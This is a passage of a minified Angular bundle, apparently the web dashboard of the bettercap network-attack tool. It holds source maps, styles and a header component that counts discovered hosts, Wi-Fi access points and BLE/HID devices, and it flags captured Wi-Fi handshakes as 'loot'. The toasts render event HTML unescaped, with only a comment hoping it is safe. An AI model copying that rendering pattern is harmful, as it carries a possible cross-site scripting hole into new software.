EseUJBQUE7QURzQko7QUNuQkE7RUFDSSx5QkFBQTtFQUNBLFlBQUE7RUFDQSxnQ0FBQTtBRHNCSjtBQ2ZBO0VBQ0ksa0JBQUE7QURrQko7QUNkQTtFQUNFLFVBQUE7QURpQkY7QUNkQTtFQUNJLDJCQUFBO0FEaUJKO0FDUEE7RUFDSSx5RUFBQTtBRFVKO0FDUEE7RUFDSSxpQkFBQTtFQUNBLGlCQUFBO0FEVUoiLCJmaWxlIjoic3JjL2FwcC9jb21wb25lbnRzL21haW4taGVhZGVyL21haW4taGVhZGVyLmNvbXBvbmVudC5zY3NzIiwic291cmNlc0NvbnRlbnQiOlsiLyogQ29sb3JzICovXG4kbWFpbkJhY2tncm91bmQ6IHJnYmEoMzgsNDUsNTMsMC45NSk7XG4kYWNpZE9yYW5nZTogI0ZENUYwMDtcbiRuZXRCbHVlOiM0MTY5RTE7XG4kYm9yZGVyQ29sb3JMaWdodDojMzEzMTMxO1xuJGFjaWRHcmVlbjojOTVEODU1O1xuJGRhcmtSZWQ6I2JmMDAwMDtcblxuLyogRm9udHMgKi9cbiRmb250RmFtaWx5UHJpbWFyeTogXCJOdW5pdG9cIiwgLWFwcGxlLXN5c3RlbSwgQmxpbmtNYWNTeXN0ZW1Gb250LCBcIlNlZ29lIFVJXCIsIFJvYm90bywgXCJIZWx2ZXRpY2EgTmV1ZVwiLCBBcmlhbCwgc2Fucy1zZXJpZiwgXCJBcHBsZSBDb2xvciBFbW9qaVwiLCBcIlNlZ29lIFVJIEVtb2ppXCIsIFwiU2Vnb2UgVUkgU3ltYm9sXCIsICdOb3RvIENvbG9yIEVtb2ppJyAhZGVmYXVsdDtcbiRmb250V2VpZ2h0Tm9ybWFsOjQwMDtcbiRmb250U2l6ZTouOXJlbTtcbiRsaW5lSGVpZ2h0OjEuNXJlbTtcbiIsIkBpbXBvcnQgXCJ2YXJpYWJsZXNcIjtcblxuLm1vbm8ge1xuICAgIGZvbnQtZmFtaWx5OiAnUm9ib3RvIE1vbm8nLCBtb25vc3BhY2U7XG59XG5cbi5idG4tYWN0aW9uIHtcbiAgICAvLyBjb2xvcjogI2QwZDBkMDtcbiAgICBmb250LXdlaWdodDogMTAwO1xuICAgIGZvbnQtc2l6ZTogLjhyZW07XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICBwYWRkaW5nOiAuMDVyZW0gLjNyZW07XG4gICAgbGluZS1oZWlnaHQ6IDEuMDtcbiAgICBib3JkZXItcmFkaXVzOiAuMXJlbTtcbn1cblxuLmJ0bi10aW55IHtcbiAgICBmb250LXNpemU6IC43cmVtICFpbXBvcnRhbnQ7XG59XG5cbmJ1dHRvbi5idG4tZXZlbnQge1xuICAgIGZvbnQtc2l6ZTogLjhyZW07XG4gICAgcGFkZGluZzogLjA1cmVtIC4zcmVtO1xuICAgIGxpbmUtaGVpZ2h0OiAxLjA7XG4gICAgYm9yZGVyLXJhZGl1czogLjFyZW07XG59XG4iLCIvKiBDb2xvcnMgKi9cbi8qIEZvbnRzICovXG4vKiBDb2xvcnMgKi9cbi8qIEZvbnRzICovXG4ubW9ubyB7XG4gIGZvbnQtZmFtaWx5OiBcIlJvYm90byBNb25vXCIsIG1vbm9zcGFjZTtcbn1cblxuLmJ0bi1hY3Rpb24ge1xuICBmb250LXdlaWdodDogMTAwO1xuICBmb250LXNpemU6IDAuOHJlbTtcbiAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgcGFkZGluZzogMC4wNXJlbSAwLjNyZW07XG4gIGxpbmUtaGVpZ2h0OiAxO1xuICBib3JkZXItcmFkaXVzOiAwLjFyZW07XG59XG5cbi5idG4tdGlueSB7XG4gIGZvbnQtc2l6ZTogMC43cmVtICFpbXBvcnRhbnQ7XG59XG5cbmJ1dHRvbi5idG4tZXZlbnQge1xuICBmb250LXNpemU6IDAuOHJlbTtcbiAgcGFkZGluZzogMC4wNXJlbSAwLjNyZW07XG4gIGxpbmUtaGVpZ2h0OiAxO1xuICBib3JkZXItcmFkaXVzOiAwLjFyZW07XG59XG5cbi5uYXZiYXIge1xuICBwYWRkaW5nOiAwLjJyZW0gMDtcbn1cbkBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkge1xuICAubmF2YmFyIHtcbiAgICBwYWRkaW5nOiAwLjVyZW0gMDtcbiAgfVxufVxuLm5hdmJhciAubmF2YmFyLW5hdiB7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICB3aWR0aDogMTAwJTtcbn1cbi5uYXZiYXIgLm5hdmJhci1uYXYgbGkubmF2LWl0ZW0ge1xuICBmbG9hdDogbGVmdDtcbiAgbWFyZ2luLWxlZnQ6IDVweDtcbn1cbkBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkge1xuICAubmF2YmFyIC5uYXZiYXItbmF2IGxpLm5hdi1pdGVtIHtcbiAgICBtYXJnaW4tbGVmdDogMTBweDtcbiAgfVxufVxuLm5hdmJhciAubmF2YmFyLW5hdiBsaS5uYXYtaXRlbTpmaXJzdCB7XG4gIG1hcmdpbi1sZWZ0OiAwcHg7XG59XG4ubmF2YmFyIC5uYXZiYXItbmF2IGxpLnJpZ2h0IHtcbiAgZmxvYXQ6IHJpZ2h0O1xuICBtYXJnaW4tbGVmdDogMDtcbiAgbWFyZ2luLXJpZ2h0OiAxMHB4O1xufVxuLm5hdmJhciAubmF2YmFyLW5hdiAubmF2LWxpbmsge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIGRpc3BsYXk6IHRhYmxlLWNlbGw7XG4gIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gIHBhZGRpbmctdG9wOiAwO1xuICBwYWRkaW5nLWJvdHRvbTogMDtcbiAgaGVpZ2h0OiA1MHB4O1xufVxuQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7XG4gIC5uYXZiYXIgLm5hdmJhci1uYXYgLm5hdi1saW5rIHtcbiAgICBoZWlnaHQ6IDcwcHg7XG4gIH1cbn1cbi5uYXZiYXIgLm5hdmJhci1uYXYgLm5hdi1saW5rIC5uYXYtdGV4dCB7XG4gIGRpc3BsYXk6IG5vbmU7XG59XG5AbWVkaWEgKG1pbi13aWR0aDogNzY4cHgpIHtcbiAgLm5hdmJhciAubmF2YmFyLW5hdiAubmF2LWxpbmsgLm5hdi10ZXh0IHtcbiAgICBkaXNwbGF5OiBpbmxpbmU7XG4gIH1cbn1cbi5uYXZiYXIgLm5hdmJhci1uYXYgLm5hdi1saW5rID4gKltjbGFzc149ZmFdIHtcbiAgZGlzcGxheTogYmxvY2s7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgd2lkdGg6IDQ4cHg7XG4gIGZvbnQtc2l6ZTogMjRweDtcbiAgdG9wOiAwO1xuICBtYXJnaW46IDJweCBhdXRvIDRweCBhdXRvO1xuICBsaW5lLWhlaWdodDogMjRweDtcbn1cbi5uYXZiYXIgLm5hdmJhci1uYXYgLm5hdi1saW5rID4gKltjbGFzc149ZmFdIC5iYWRnZSB7XG4gIGZvbnQtc2l6ZTogMC43NXJlbTtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICByaWdodDogMDtcbiAgdG9wOiAtN3B4O1xuICBmb250LWZhbWlseTogc2Fucy1zZXJpZjtcbn1cblxuI3Nlc3Npb25FcnJvciB7XG4gIHBhZGRpbmc6IDVweDtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzM0M2E0MDtcbn1cblxuZGl2LmVycm9yLWhlYWRlciB7XG4gIGJhY2tncm91bmQtY29sb3I6ICNkMjMyMmQ7XG4gIGNvbG9yOiB3aGl0ZTtcbiAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNjMjIyMWQ7XG59XG5cbmRpdi5lcnJvci1ib2R5IHtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xufVxuXG4udG9hc3QtYm9vdHN0cmFwLWNvbXBhdGliaWxpdHktZml4IHtcbiAgb3BhY2l0eTogMTtcbn1cblxuZGl2LnRvYXN0LW1lc3NhZ2Uge1xuICBmb250LXNpemU6IDEwcmVtICFpbXBvcnRhbnQ7XG59XG5cbi5uYXZiYXItZGFyayAubmF2YmFyLW5hdiAuYWN0aXZlID4gLm5hdi1saW5rLCAubmF2YmFyLWRhcmsgLm5hdmJhci1uYXYgLm5hdi1saW5rLmFjdGl2ZSwgLm5hdmJhci1kYXJrIC5uYXZiYXItbmF2IC5uYXYtbGluay5zaG93LCAubmF2YmFyLWRhcmsgLm5hdmJhci1uYXYgLnNob3cgPiAubmF2LWxpbmsge1xuICB0ZXh0LXNoYWRvdzogMCAycHggNXB4IHJnYmEoMCwgMCwgMCwgMC4yNiksIDAgMnB4IDVweCByZ2JhKDAsIDAsIDAsIDAuMzMpO1xufVxuXG5saS5yZXBsYXlEYXRlIHtcbiAgcGFkZGluZy10b3A6IDQwcHg7XG4gIGZvbnQtc2l6ZTogMC44cmVtO1xufSIsIkBpbXBvcnQgXCJ2YXJpYWJsZXNcIjtcbkBpbXBvcnQgXCJidXR0b25zXCI7XG5cbi5uYXZiYXIge1xuICAgIHBhZGRpbmc6IC4ycmVtIDA7XG5cbiAgICBAbWVkaWEgKG1pbi13aWR0aDogNzY4cHgpIHtcbiAgICAgICAgcGFkZGluZzogLjVyZW0gMDtcbiAgICB9XG5cbiAgICAubmF2YmFyLW5hdiB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICB3aWR0aDogMTAwJTtcblxuICAgICAgICBsaS5uYXYtaXRlbSB7XG4gICAgICAgICAgICBmbG9hdDogbGVmdDtcbiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiA1cHg7XG4gICAgICAgICAgICBcbiAgICAgICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAmOmZpcnN0IHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMHB4O1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIFxuICAgICAgICBsaS5yaWdodCB7XG4gICAgICAgICAgICBmbG9hdDogcmlnaHQ7XG4gICAgICAgICAgICBtYXJnaW4tbGVmdDogMDtcbiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMTBweDtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIC5uYXZiYXItbmF2IC5uYXYtbGluayB7XG4gICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgZGlzcGxheTogdGFibGUtY2VsbDtcbiAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbiAgICAgICAgcGFkZGluZy10b3A6IDA7XG4gICAgICAgIHBhZGRpbmctYm90dG9tOiAwO1xuICAgICAgICBoZWlnaHQ6IDUwcHg7XG5cbiAgICAgICAgQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7XG4gICAgICAgICAgICBoZWlnaHQ6IDcwcHg7XG4gICAgICAgIH1cblxuICAgICAgICAubmF2LXRleHQge1xuICAgICAgICAgICAgZGlzcGxheTogbm9uZTtcbiAgICAgICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiA3NjhweCkge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgICYgPiAqW2NsYXNzXj0nZmEnXSB7XG4gICAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgIHdpZHRoOiA0OHB4O1xuICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgdG9wOiAwO1xuICAgICAgICAgICAgbWFyZ2luOiAycHggYXV0byA0cHggYXV0bztcbiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAyNHB4O1xuXG4gICAgICAgICAgICAuYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMC43NXJlbTtcbiAgICAgICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgICAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgdG9wOiAtN3B4O1xuICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfVxuXG59XG5cbiNzZXNzaW9uRXJyb3Ige1xuICAgIHBhZGRpbmc6IDVweDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzQzYTQwO1xufVxuXG5kaXYuZXJyb3ItaGVhZGVyIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDIzMjJkO1xuICAgIGNvbG9yOiB3aGl0ZTtcbiAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2MyMjIxZDtcbn1cblxuZGl2LmVycm9yLXRpdGxlIHtcblxufVxuXG5kaXYuZXJyb3ItYm9keSB7XG4gICAgdGV4dC1hbGlnbjogY2VudGVyO1xufVxuXG4vLyBodHRwczovL3N0YWNrb3ZlcmZsb3cuY29tL3F1ZXN0aW9ucy81Mzk4OTQ0NS9uZ3gtdG9hc3RyLXRvYXN0LW5vdC1zaG93aW5nLWluLWFuZ3VsYXItN1xuLnRvYXN0LWJvb3RzdHJhcC1jb21wYXRpYmlsaXR5LWZpeCB7XG4gIG9wYWNpdHk6MTtcbn1cblxuZGl2LnRvYXN0LW1lc3NhZ2Uge1xuICAgIGZvbnQtc2l6ZTogMTByZW0gIWltcG9ydGFudDtcbn1cblxuLnBpbm5lZDphZnRlciB7XG4gICAgLy8gZm9udC1mYW1pbHk6ICdGb250IEF3ZXNvbWUgNSBGcmVlJztcbiAgICAvLyBmb250LXdlaWdodDogOTAwO1xuICAgIC8vIGNvbnRlbnQ6ICdcXGYwOGQnO1xufVxuXG4vLyBvdmVycmlkZSB0ZXh0LW11dGVkXG4ubmF2YmFyLWRhcmsgLm5hdmJhci1uYXYgLmFjdGl2ZT4ubmF2LWxpbmssIC5uYXZiYXItZGFyayAubmF2YmFyLW5hdiAubmF2LWxpbmsuYWN0aXZlLCAubmF2YmFyLWRhcmsgLm5hdmJhci1uYXYgLm5hdi1saW5rLnNob3csIC5uYXZiYXItZGFyayAubmF2YmFyLW5hdiAuc2hvdz4ubmF2LWxpbmsge1xuICAgIHRleHQtc2hhZG93OiAwIDJweCA1cHggcmdiYSgwLDAsMCwwLjI2KSwgMCAycHggNXB4IHJnYmEoMCwwLDAsMC4zMyk7XG59XG5cbmxpLnJlcGxheURhdGUge1xuICAgIHBhZGRpbmctdG9wOiA0MHB4OyBcbiAgICBmb250LXNpemU6IC44cmVtO1xufVxuIl19 */\"","import {\n Component, \n OnInit, \n OnDestroy,\n ComponentFactoryResolver,\n Injector\n} from '@angular/core';\nimport {Router} from '@angular/router';\nimport { ToastrService } from 'ngx-toastr'; \nimport { ApiService } from '../../services/api.service';\nimport { EventComponent } from '../event/event.component';\n\ndeclare var $: any;\n\n@Component({\n selector: 'ui-main-header',\n templateUrl: './main-header.component.html',\n styleUrls: ['./main-header.component.scss']\n})\nexport class MainHeaderComponent implements OnInit, OnDestroy {\n apiFirstUpdate: boolean = true;\n rest: any = null;\n\n counters : any = {\n events: 0,\n hosts: 0,\n aps: 0,\n ble: 0,\n hid: 0,\n gps: 0,\n caplets: 0,\n running: 0\n };\n\n subscriptions: any = [];\n modNotificationCache = {};\n\n sessionError: any;\n commandError: any;\n\n constructor(\n public api: ApiService, \n private router: Router, \n private toastr: ToastrService,\n private resolver: ComponentFactoryResolver, \n private injector: Injector\n ) { \n this.updateSession(this.api.session);\n this.updateEvents(this.api.events, true);\n }\n\n private skipError(error) {\n return false;\n }\n\n ngOnInit() {\n this.subscriptions = [\n this.api.onNewData.subscribe(session => {\n this.updateSession(session);\n }),\n this.api.onNewEvents.subscribe(events => {\n this.updateEvents(events, this.apiFirstUpdate);\n this.apiFirstUpdate = false;\n }),\n this.api.onSessionError.subscribe(error => {\n console.error(\"session error\", error);\n this.apiFirstUpdate = true;\n this.sessionError = error;\n }),\n this.api.onCommandError.subscribe(error => {\n console.error(\"command error\", error);\n this.commandError = error;\n $('#commandError').modal('show');\n })\n ];\n }\n\n ngOnDestroy() {\n for( let i = 0; i < this.subscriptions.length; i++ ){\n this.subscriptions[i].unsubscribe();\n }\n this.subscriptions = [];\n }\n\n private updateSession(session) {\n this.rest = this.api.module('api.rest');\n this.sessionError = null;\n this.counters.hosts = session.lan['hosts'].length || 0; \n this.counters.aps = session.wifi['aps'].length || 0; \n this.counters.ble = session.ble['devices'].length || 0; \n this.counters.hid = session.hid['devices'].length || 0; \n this.counters.gps = this.api.module('gps').running ? (session.gps.NumSatellites || 0) : 0;\n this.counters.caplets = session.caplets.length || 0; \n this.counters.running = session.modules.filter(m => m.running).length;\n }\n\n private eventCacheKey(event) {\n let key = event.tag + \"::\";\n if( typeof event.data == 'string' ) \n key += event.data + \"::\";\n else\n key += \"{}::\";\n key += event.time;\n return key;\n }\n\n private eventHTML(event) : string {\n // reuse the EventComponent at runtime to get the same HTML\n // we'd have in the event table ... reusability FTW ^_^\n const factory = this.resolver.resolveComponentFactory(EventComponent);\n const component = factory.create(this.injector); \n\n component.instance.event = event;\n component.changeDetectorRef.detectChanges();\n\n return component.location.nativeElement.innerHTML;\n }\n\n private isTrackedEvent(event) : boolean {\n // modules start and stop events\n if( event.tag.indexOf('mod.') == 0 )\n return true;\n // generic logs (but not the syn.scan progress or hid payloads)\n if( event.tag == 'sys.log' && event.data.Message.indexOf('syn.scan') == -1 && event.data.Message.indexOf('payload for') == -1 )\n return true;\n // some recon module got a new target\n // if( event.tag.indexOf('.new') != -1 && event.tag != 'wifi.client.new' )\n // return true;\n // wifi l00t\n if( event.tag == 'wifi.client.handshake' )\n return true;\n\n return false;\n }\n\n private eventClass(event) : string {\n if( event.tag == 'mod.started' || event.tag.indexOf('.new') != -1 )\n return 'toast-success';\n \n else if( event.tag == 'mod.stopped' || event.tag == 'wifi.client.handshake' )\n return 'toast-warning';\n\n else if( event.tag == 'sys.log' ) {\n if( event.data.Level == 3 /* WARNING */ )\n return 'toast-warning';\n\n else if( event.data.Level == 4 /* ERROR */ || event.data.Level == 5 /* FATAL */ )\n return 'toast-error';\n }\n\n return 'toast-info';\n }\n\n private handleTrackedEvent(event, firstUpdate: boolean) {\n // since we're constantly polling for /api/events and we'll\n // end up getting the same events we already shown in multiple\n // requests, we need to \"cache\" this information to avoid showing\n // the same notification more than once.\n let evKey = this.eventCacheKey(event);\n if( evKey in this.modNotificationCache === false ) {\n this.modNotificationCache[evKey] = true;\n // first time we get the event we don't want to notify the user,\n // otherwise dozens of notifications might be generated after\n // a page refresh\n if( firstUpdate == false && !this.api.module('api.rest').state.replaying ) {\n this.toastr.show(\n this.eventHTML(event), \n event.tag, \n { \n // any dangerous stuff should already be escaped by the \n // EventComponent anyway ... i hope ... ... i hope ...\n enableHtml: true,\n toastClass: 'ngx-toastr ' + this.eventClass(event)\n }\n );\n }\n }\n }\n\n private updateEvents(events, firstUpdate: boolean = false) {\n this.sessionError = null;\n this.counters.events = events.length;\n if( this.counters.events == 0 ){\n this.toastr.clear();\n } else {\n for( let i = 0; i < this.counters.events; i++ ) {\n let event = events[i];\n if( this.isTrackedEvent(event) ) {\n this.handleTrackedEvent(event, firstUpdate);\n }\n }\n }\n }\n\n logout() {\n this.api.logout();\n this.router.navigateByUrl(\"/login\");\n }\n}\n","import { Pipe, PipeTransform } from '@angular/core';\n\n@Pipe({name: 'modicon'})\nexport class ModIconPipe implements PipeTransform {\n transform(name: string): string {\n if( name == 'caplets' )\n return 'scroll';\n\n else if( name == 'hid' )\n return 'keyboard';\n\n else if( name == 'wifi' )\n return 'wifi';\n\n else if( name == 'gps' )\n return 'globe';\n\n else if( name == 'update' )\n return 'download';\n\n else if( name.indexOf('proxy') != -1 )\n return 'filter';\n\n else if( name.indexOf('server') != -1 )\n return 'server';\n\n else if( name.indexOf('recon') != -1 )\n return 'eye';\n\n else if( name.indexOf('spoof') != -1 )\n return 'radiation';\n\n else if( name.indexOf('net.') === 0 )\n return 'network-wired';\n\n return 'tools';\n } \n}\n","module.exports = \"
\\n\\n
\\n\\n
\\n
\\n \\n \\n\\n \\n\\n \\n\\n \\n\\n \\n\\n
\\n
\\n\\n
\\n
\\n\\n
\\n\\n
\\n\\n
\\n
\\n
\\n \\n
\\n
\\n
\\n
\\n
\\n
\\n\\n
\\n
\\n
\\n
\\n Loading session from {{ rest.state.rec_filename.split('/').pop() }} ...\\n
\\n
\\n \\n {{ rest.state.load_progress | number:'1.0-0' }}%\\n \\n
\\n
\\n
\\n
\\n\\n
\\n
\\n
\\n \\n
\\n
\\n
\\n
\\n
\\n
\\n\\n\"","module.exports = \".omnibar {\\n padding: 5px;\\n padding-top: 0;\\n background-color: #343a40;\\n padding-bottom: 10px;\\n}\\n.omnibar button {\\n background-color: #333;\\n color: #999;\\n}\\n.omnibar input,\\n.omnibar select,\\n.omnibar label {\\n background-color: #333;\\n border: 1px solid #353535;\\n color: #aaa;\\n}\\n.omnibar select {\\n font-size: 0.8rem;\\n}\\n.omnibar .input-group-text {\\n border: 1px solid #353535;\\n background-color: #333;\\n color: #999;\\n}\\n.input-group > .custom-range {\\n display: block;\\n height: calc(2.25rem + 2px);\\n padding: 0 0.75rem;\\n font-size: 1rem;\\n line-height: 1.5;\\n background-clip: padding-box;\\n border-radius: 0.25rem;\\n transition: box-shadow 0.15s ease-in-out;\\n}\\n.input-group > .custom-range {\\n position: relative;\\n flex: 1 1 auto;\\n width: 1%;\\n margin-bottom: 0;\\n}\\n.input-group > .custom-range:focus {\\n z-index: 3;\\n}\\n.input-group-sm > .custom-range {\\n height: calc(1.8125rem + 2px);\\n padding: 0 0.5rem;\\n font-size: 0.875rem;\\n line-height: 1.5;\\n border-radius: 0.2rem;\\n}\\n.input-group-lg > .custom-range {\\n height: calc(2.875rem + 2px);\\n padding-left: 0 1rem;\\n font-size: 1.25rem;\\n line-height: 1.5;\\n border-radius: 0.3rem;\\n}\\n.input-group > .custom-range:not(:last-child) {\\n border-top-right-radius: 0;\\n border-bottom-right-radius: 0;\\n}\\n.input-group > .custom-range:not(:first-child) {\\n border-top-left-radius: 0;\\n border-bottom-left-radius: 0;\\n}\\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9Vc2Vycy9ldmlsc29ja2V0L0JhaGFtdXQvTGFiL2JldHRlcmNhcC91aS9zcmMvYXBwL2NvbXBvbmVudHMvb21uaWJhci9vbW5pYmFyLmNvbXBvbmVudC5zY3NzIiwic3JjL2FwcC9jb21wb25lbnRzL29tbmliYXIvb21uaWJhci5jb21wb25lbnQuc2NzcyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQTtFQUNJLFlBQUE7RUFDQSxjQUFBO0VBQ0EseUJBQUE7RUFFQSxvQkFBQTtBQ0FKO0FERUk7RUFDSSxzQkFBQTtFQUNBLFdBQUE7QUNBUjtBREdJOzs7RUFHSSxzQkFBQTtFQUNBLHlCQUFBO0VBQ0EsV0FBQTtBQ0RSO0FEUUk7RUFDSSxpQkFBQTtBQ05SO0FEU0k7RUFDSSx5QkFBQTtFQUNBLHNCQUFBO0VBQ0EsV0FBQTtBQ1BSO0FEWUE7RUFDRSxjQUFBO0VBQ0EsMkJBQUE7RUFDQSxrQkFBQTtFQUNBLGVBQUE7RUFDQSxnQkFBQTtFQUNBLDRCQUFBO0VBQ0Esc0JBQUE7RUFDQSx3Q0FBQTtBQ1RGO0FEV0E7RUFDRSxrQkFBQTtFQUVBLGNBQUE7RUFDQSxTQUFBO0VBQ0EsZ0JBQUE7QUNSRjtBRFVBO0VBQ0UsVUFBQTtBQ1BGO0FEU0E7RUFDRSw2QkFBQTtFQUNBLGlCQUFBO0VBQ0EsbUJBQUE7RUFDQSxnQkFBQTtFQUNBLHFCQUFBO0FDTkY7QURRQTtFQUNFLDRCQUFBO0VBQ0Esb0JBQUE7RUFDQSxrQkFBQTtFQUNBLGdCQUFBO0VBQ0EscUJBQUE7QUNMRjtBRE9BO0VBQ0UsMEJBQUE7RUFDQSw2QkFBQTtBQ0pGO0FETUE7RUFDRSx5QkFBQTtFQUNBLDRCQUFBO0FDSEYiLCJmaWxlIjoic3JjL2FwcC9jb21wb25lbnRzL29tbmliYXIvb21uaWJhci5jb21wb25lbnQuc2NzcyIsInNvdXJjZXNDb250ZW50IjpbIi5vbW5pYmFyIHtcbiAgICBwYWRkaW5nOiA1cHg7XG4gICAgcGFkZGluZy10b3A6IDA7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzM0M2E0MDtcbiAgICAvLyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzIyMjtcbiAgICBwYWRkaW5nLWJvdHRvbTogMTBweDtcblxuICAgIGJ1dHRvbiB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IzMzMzsgXG4gICAgICAgIGNvbG9yOiAjOTk5O1xuICAgIH1cblxuICAgIGlucHV0LFxuICAgIHNlbGVjdCxcbiAgICBsYWJlbCB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IzMzMzsgXG4gICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzNTM1MzU7IFxuICAgICAgICBjb2xvcjogI2FhYTtcbiAgICB9XG5cbiAgICBsYWJlbCB7XG5cbiAgICB9XG5cbiAgICBzZWxlY3Qge1xuICAgICAgICBmb250LXNpemU6IC44cmVtO1xuICAgIH1cblxuICAgIC5pbnB1dC1ncm91cC10ZXh0IHtcbiAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzM1MzUzNTsgXG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IzMzMzsgXG4gICAgICAgIGNvbG9yOiAjOTk5O1xuICAgIH1cbn1cblxuLy8gaHR0cHM6Ly9naXRodWIuY29tL3R3YnMvYm9vdHN0cmFwL2lzc3Vlcy8yNzU3MlxuLmlucHV0LWdyb3VwID4gLmN1c3RvbS1yYW5nZSB7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBoZWlnaHQ6IGNhbGMoMi4yNXJlbSArIDJweCk7XG4gIHBhZGRpbmc6IDAgLjc1cmVtO1xuICBmb250LXNpemU6IDFyZW07XG4gIGxpbmUtaGVpZ2h0OiAxLjU7XG4gIGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3g7XG4gIGJvcmRlci1yYWRpdXM6IC4yNXJlbTtcbiAgdHJhbnNpdGlvbjogYm94LXNoYWRvdyAuMTVzIGVhc2UtaW4tb3V0O1xufVxuLmlucHV0LWdyb3VwID4gLmN1c3RvbS1yYW5nZSB7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgLW1zLWZsZXg6IDEgMSBhdXRvO1xuICBmbGV4OiAxIDEgYXV0bztcbiAgd2lkdGg6IDElO1xuICBtYXJnaW4tYm90dG9tOiAwO1xufVxuLmlucHV0LWdyb3VwID4gLmN1c3RvbS1yYW5nZTpmb2N1cyB7XG4gIHotaW5kZXg6IDM7XG59XG4uaW5wdXQtZ3JvdXAtc20gPiAuY3VzdG9tLXJhbmdlIHtcbiAgaGVpZ2h0OiBjYWxjKDEuODEyNXJlbSArIDJweCk7XG4gIHBhZGRpbmc6IDAgLjVyZW07XG4gIGZvbnQtc2l6ZTogLjg3NXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbiAgYm9yZGVyLXJhZGl1czogLjJyZW07XG59XG4uaW5wdXQtZ3JvdXAtbGcgPiAuY3VzdG9tLXJhbmdlIHtcbiAgaGVpZ2h0OiBjYWxjKDIuODc1cmVtICsgMnB4KTtcbiAgcGFkZGluZy1sZWZ0OiAwIDFyZW07XG4gIGZvbnQtc2l6ZTogMS4yNXJlbTtcbiAgbGluZS1oZWlnaHQ6IDEuNTtcbiAgYm9yZGVyLXJhZGl1czogLjNyZW07XG59XG4uaW5wdXQtZ3JvdXAgPiAuY3VzdG9tLXJhbmdlOm5vdCg6bGFzdC1jaGlsZCkge1xuICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgYm9yZGVyLWJvdHRvbS1yaWdodC1yYWRpdXM6IDA7XG59XG4uaW5wdXQtZ3JvdXAgPiAuY3VzdG9tLXJhbmdlOm5vdCg6Zmlyc3QtY2hpbGQpIHtcbiAgYm9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMDtcbiAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbn1cblxuXG4iLCIub21uaWJhciB7XG4gIHBhZGRpbmc6IDVweDtcbiAgcGFkZGluZy10b3A6IDA7XG4gIGJhY2tncm91bmQtY29sb3I6ICMzNDNhNDA7XG4gIHBhZGRpbmctYm90dG9tOiAxMHB4O1xufVxuLm9tbmliYXIgYnV0dG9uIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMztcbiAgY29sb3I6ICM5OTk7XG59XG4ub21uaWJhciBpbnB1dCxcbi5vbW5pYmFyIHNlbGVjdCxcbi5vbW5pYmFyIGxhYmVsIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMztcbiAgYm9yZGVyOiAxcHggc29saWQgIzM1MzUzNTtcbiAgY29sb3I6ICNhYWE7XG59XG4ub21uaWJhciBzZWxlY3Qge1xuICBmb250LXNpemU6IDAuOHJlbTtcbn1cbi5vbW5pYmFyIC5pbnB1dC1ncm91cC10ZXh0IHtcbiAgYm9yZGVyOiAxcHggc29s